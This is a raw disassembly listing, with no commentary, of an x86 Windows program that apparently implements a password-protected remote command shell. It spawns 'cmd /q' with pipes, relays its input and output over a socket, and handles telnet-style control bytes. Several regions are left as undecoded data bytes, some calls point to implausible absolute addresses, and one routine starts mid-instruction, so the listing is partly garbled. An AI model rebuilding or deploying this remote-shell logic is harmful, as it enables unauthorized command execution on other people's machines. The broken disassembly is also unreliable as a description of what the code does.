call dword_4CB000
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41B886
jmp short loc_4108F4
; ---------------------------------------------------------------------------
loc_4108E6: ; CODE XREF: ___:004108CCj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41BEB0
loc_4108F4: ; CODE XREF: ___:004108E4j
pop ecx
pop ecx
push edi
push ebx
push offset dword_43D128
push dword ptr [esi]
call dword_4CAFC4
cmp dword_4CDCD8, edi
jnz short loc_410956
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_410A1E
add esp, 10h
test eax, eax
jnz short loc_410956
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CAFC4
push dword ptr [esi]
call dword_4CB00C
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26C0000h
loc_410956: ; CODE XREF: ___:0041090Bj
; ___:0041092Cj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_434120
call sub_415220
push dword ptr [ebp+8]
call sub_410CD5
add esp, 10h
test eax, eax
jnz short loc_41099D
call near ptr 2660A00h
nop
push eax
push offset unk_4340F4
call sub_415220
push dword ptr [ebp+8]
call sub_40B412
add esp, 0Ch
push ebx
nop
call near ptr 26C0000h
loc_41099D: ; CODE XREF: ___:00410978j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_4340C8
call sub_415220
push dword ptr [ebp+8]
call sub_40B412
add esp, 10h
push edi
call near ptr 26C0000h
nop
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109C4 proc near ; CODE XREF: ___:00410859p
; ___:00410866p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CAF8C
cmp eax, 1
jnz short loc_410A14
mov esi, [ebp+arg_4]
loc_4109E2: ; CODE XREF: sub_4109C4+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_410A09
test al, al
jz short loc_410A18
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CAF8C
cmp eax, 1
jz short loc_4109E2
jmp short loc_410A14
; ---------------------------------------------------------------------------
loc_410A09: ; CODE XREF: sub_4109C4+27j
push offset unk_434188
call sub_415220
pop ecx
loc_410A14: ; CODE XREF: sub_4109C4+19j
; sub_4109C4+43j
xor eax, eax
jmp short loc_410A1B
; ---------------------------------------------------------------------------
loc_410A18: ; CODE XREF: sub_4109C4+2Bj
push 1
pop eax
loc_410A1B: ; CODE XREF: sub_4109C4+52j
pop esi
leave
retn
sub_4109C4 endp
; =============== S U B R O U T I N E =======================================
sub_410A1E proc near ; CODE XREF: ___:00410922p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_410A49
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_4341B4
call sub_415220
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_410A49: ; CODE XREF: sub_410A1E+11j
push 1
pop eax
retn
sub_410A1E endp
; ---------------------------------------------------------------------------
byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o
dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh
dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h
dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh, 0E8004343h
dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
dd 6857022Ah, 410CCBh, 33000BE8h, 0C0859002h, 0E8902975h
dd 224FF44h, 42E06850h, 59E80043h, 59000047h, 0CC15FF59h
dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h, 53022AF5h
dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 89E24589h
dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh
dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh
dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h
dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h
dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h
dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h
dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh
dd 56F0458Dh, 0E5E89050h, 8B0224F3h, 0C969B84Dh, 234h
dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh
dd 4E89032h, 0EB022402h, 0B9E890EDh, 500224FDh, 43422468h
dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh
dd 0FBEC858Dh, 0EC68FFFFh, 50004341h, 0AC15E8h, 0CC48300h
dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh
dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h
dd 4CB00Ch, 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh
dd 0F336E890h, 335B022Ah, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410CD5 proc near ; CODE XREF: ___:0041096Ep
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_410E26
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43DEBC[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_42707C
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_410FF8
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_410D40
nop
call near ptr 2660A00h
push eax
push offset unk_434384
call sub_415220
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_410D7A
; ---------------------------------------------------------------------------
loc_410D40: ; CODE XREF: sub_410CD5+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4110AA
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_410D81
nop
call near ptr 2660A00h
push eax
push offset unk_434384
call sub_415220
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
nop
call near ptr 2670A1Bh
loc_410D7A: ; CODE XREF: sub_410CD5+69j
xor eax, eax
jmp loc_410E21
; ---------------------------------------------------------------------------
loc_410D81: ; CODE XREF: sub_410CD5+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
nop
call near ptr 2740D5Ch
sub eax, ebx
jz short loc_410DDB
dec eax
jz short loc_410DD5
dec eax
jz short loc_410DC1
nop
call near ptr 2660A00h
push eax
push offset unk_434350
call sub_415220
pop ecx
pop ecx
jmp short loc_410DF0
; ---------------------------------------------------------------------------
loc_410DC1: ; CODE XREF: sub_410CD5+D5j
mov edi, dword_4270AC
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_410DF0
; ---------------------------------------------------------------------------
loc_410DD5: ; CODE XREF: sub_410CD5+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_410DDF
; ---------------------------------------------------------------------------
loc_410DDB: ; CODE XREF: sub_410CD5+CFj
push ebx
push dword ptr [esi+14h]
loc_410DDF: ; CODE XREF: sub_410CD5+104j
nop
call near ptr 2670A1Bh
push 1
push dword ptr [esi+8]
call near ptr 26E0B3Dh
nop
loc_410DF0: ; CODE XREF: sub_410CD5+EAj
; sub_410CD5+FEj
push dword ptr [esi+10h]
mov edi, dword_427068
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_4CB00C
push esi
call sub_41B0B1
pop ecx
push 1
pop eax
loc_410E21: ; CODE XREF: sub_410CD5+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_410CD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_410F10
mov ebx, dword_4270FC
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_427068
test eax, eax
jnz short loc_410E89
nop
call near ptr 2660A00h
push eax
push offset unk_434434
jmp short loc_410EA9
; ---------------------------------------------------------------------------
loc_410E89: ; CODE XREF: sub_410E26+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_410EB1
nop
call near ptr 2660A00h
push eax
push offset unk_4343F4
loc_410EA9: ; CODE XREF: sub_410E26+61j
call sub_415220
pop ecx
jmp short loc_410EDF
; ---------------------------------------------------------------------------
loc_410EB1: ; CODE XREF: sub_410E26+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_410F1F
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_410F14
push offset unk_4343CC
call sub_4151AC
loc_410EDF: ; CODE XREF: sub_410E26+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_410EEB
push [ebp+var_4]
call edi
loc_410EEB: ; CODE XREF: sub_410E26+BEj
cmp [ebp+var_8], 0
jz short loc_410EF6
push [ebp+var_8]
call edi
loc_410EF6: ; CODE XREF: sub_410E26+C9j
mov eax, [esi]
test eax, eax
jz short loc_410EFF
push eax
call edi
loc_410EFF: ; CODE XREF: sub_410E26+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_410F09
push eax
call edi
loc_410F09: ; CODE XREF: sub_410E26+DEj
push esi
call sub_41B0B1
pop ecx
loc_410F10: ; CODE XREF: sub_410E26+1Dj
xor eax, eax
jmp short loc_410F1A
; ---------------------------------------------------------------------------
loc_410F14: ; CODE XREF: sub_410E26+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_410F1A: ; CODE XREF: sub_410E26+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_410E26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F1F proc near ; CODE XREF: sub_410E26+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41B590
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_4270F8
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
nop
call near ptr 26F0000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call near ptr 2640BCCh
nop
test eax, eax
jz short loc_410FDB
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43DEB8[eax], ecx
nop
call near ptr 26408F3h
jmp short loc_410FF1
; ---------------------------------------------------------------------------
loc_410FDB: ; CODE XREF: sub_410F1F+9Aj
nop
call near ptr 2660A00h
push eax
push offset unk_434474
call sub_415220
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_410FF1: ; CODE XREF: sub_410F1F+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_410F1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270E8
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411021: ; CODE XREF: sub_410FF8+8Fj
call ebx
test eax, eax
jz short loc_411089
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_41105C
loc_411032: ; CODE XREF: sub_410FF8+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_41104C
cmp dl, 0Dh
jz short loc_41104C
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_41104C: ; CODE XREF: sub_410FF8+44j
; sub_410FF8+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411032
loc_41105C: ; CODE XREF: sub_410FF8+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CAFC4
test eax, eax
jle short loc_411089
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411021
; ---------------------------------------------------------------------------
loc_411089: ; CODE XREF: sub_410FF8+2Dj
; sub_410FF8+79j
mov esi, dword_42708C
call esi
cmp eax, 6Dh
jz short loc_4110A5
call esi
push eax
push offset dword_4344B4
call sub_415220
pop ecx
pop ecx
loc_4110A5: ; CODE XREF: sub_410FF8+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_410FF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110AA proc near ; DATA XREF: sub_410CD5+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_4110C3: ; CODE XREF: sub_4110AA+39j
; sub_4110AA+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CAF8C
test eax, eax
jle loc_4111C8
cmp [ebp+var_10], ebx
jbe short loc_4110E5
dec [ebp+var_10]
jmp short loc_4110C3
; ---------------------------------------------------------------------------
loc_4110E5: ; CODE XREF: sub_4110AA+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_4111A8
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411155
cmp al, 7Fh
jz short loc_411155
cmp al, 3
jnz short loc_411110
push ebx
push ebx
nop
call near ptr 2740E71h
jmp short loc_41117C
; ---------------------------------------------------------------------------
loc_411110: ; CODE XREF: sub_4110AA+5Aj
cmp al, 15h
jnz short loc_411132
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411168
; ---------------------------------------------------------------------------
loc_411132: ; CODE XREF: sub_4110AA+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411169
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411168
; ---------------------------------------------------------------------------
loc_411155: ; CODE XREF: sub_4110AA+52j
; sub_4110AA+56j
cmp esi, ebx
jbe short loc_41117F
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411168: ; CODE XREF: sub_4110AA+86j
; sub_4110AA+A9j
pop ecx
loc_411169: ; CODE XREF: sub_4110AA+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CAFC4
test eax, eax
jle short loc_4111C8
loc_41117C: ; CODE XREF: sub_4110AA+64j
mov al, byte ptr [ebp+arg_0+3]
loc_41117F: ; CODE XREF: sub_4110AA+ADj
cmp al, 0Dh
jnz loc_4110C3
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
nop
call near ptr 26D0000h
test eax, eax
jz short loc_4111C8
xor esi, esi
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111A8: ; CODE XREF: sub_4110AA+47j
cmp [ebp+var_C], ebx
jnz short loc_4111B9
mov [ebp+var_C], 1
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111B9: ; CODE XREF: sub_4110AA+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111C8: ; CODE XREF: sub_4110AA+2Bj
; sub_4110AA+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4110AA endp
; ---------------------------------------------------------------------------
byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o
dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh
dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h
dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h
dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h
dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h
dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h
dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh
dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 224ECD8h
dd 0C84D8B90h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 223FAF7h, 90EDEB90h
dd 24F6ABE8h, 858D5002h, 0FFFFFD2Ch, 43452468h, 1FE85000h
dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch
dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h
dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
dd 0EC32E856h, 5F90022Ah, 8B555B5Eh, 0D4EC81ECh, 8B000005h
dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh
dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh
dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h
dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022AEBh, 0FB30858Dh
dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h
dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
dd 22AEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h
dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh
dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
dd 9F00E808h, 5359FFFFh, 2AEAE7E8h, 106A9002h, 53E8458Dh
dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh
dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h
dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh
dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh
dd 2AEA4FE8h, 458D9002h, 50106AE8h, 1C15FF57h, 83004CAFh
dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h
dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h
dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h
dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2AE9DFE8h, 4006802h
dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
dd 5359FFFFh, 0E982E890h, 36FF022Ah, 0B00C15FFh, 75FF004Ch
dd 9D84E808h, 5359FFFFh, 0E96AE890h
; ---------------------------------------------------------------------------
sub al, [edx]
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4116AC: ; CODE XREF: ___:0041175Bj
; ___:0041178Bj
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_4116C4: ; CODE XREF: ___:004116D2j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_4116D4
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4116C4
loc_4116D4: ; CODE XREF: ___:004116C9j
cmp ecx, 1
jnz short loc_4116E9
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_4116E9: ; CODE XREF: ___:004116D7j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_4CAF5C
lea eax, [ebp-104h]
push eax
push ebx
call dword_4CAE60
test eax, eax
jz short loc_411749
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_4CAF8C
cmp eax, 0FFFFFFFFh
jz short loc_411791
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz short loc_411791
loc_411749: ; CODE XREF: ___:0041171Bj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_4CAE60
test eax, eax
jz loc_4116AC
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4CAF8C
cmp eax, 0FFFFFFFFh
jz short loc_411791
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz loc_4116AC
loc_411791: ; CODE XREF: ___:00411730j
; ___:00411747j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do
; sub_40BACD+106o
dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh
dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h
dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 58E89000h
dd 390223F6h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h
dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Ah
dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh
dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h
dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh
dd 0F883004Ch, 681975FFh, 1388h, 0F591E890h, 8DFF0223h
dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
dd 90000001h, 23F55EE8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh
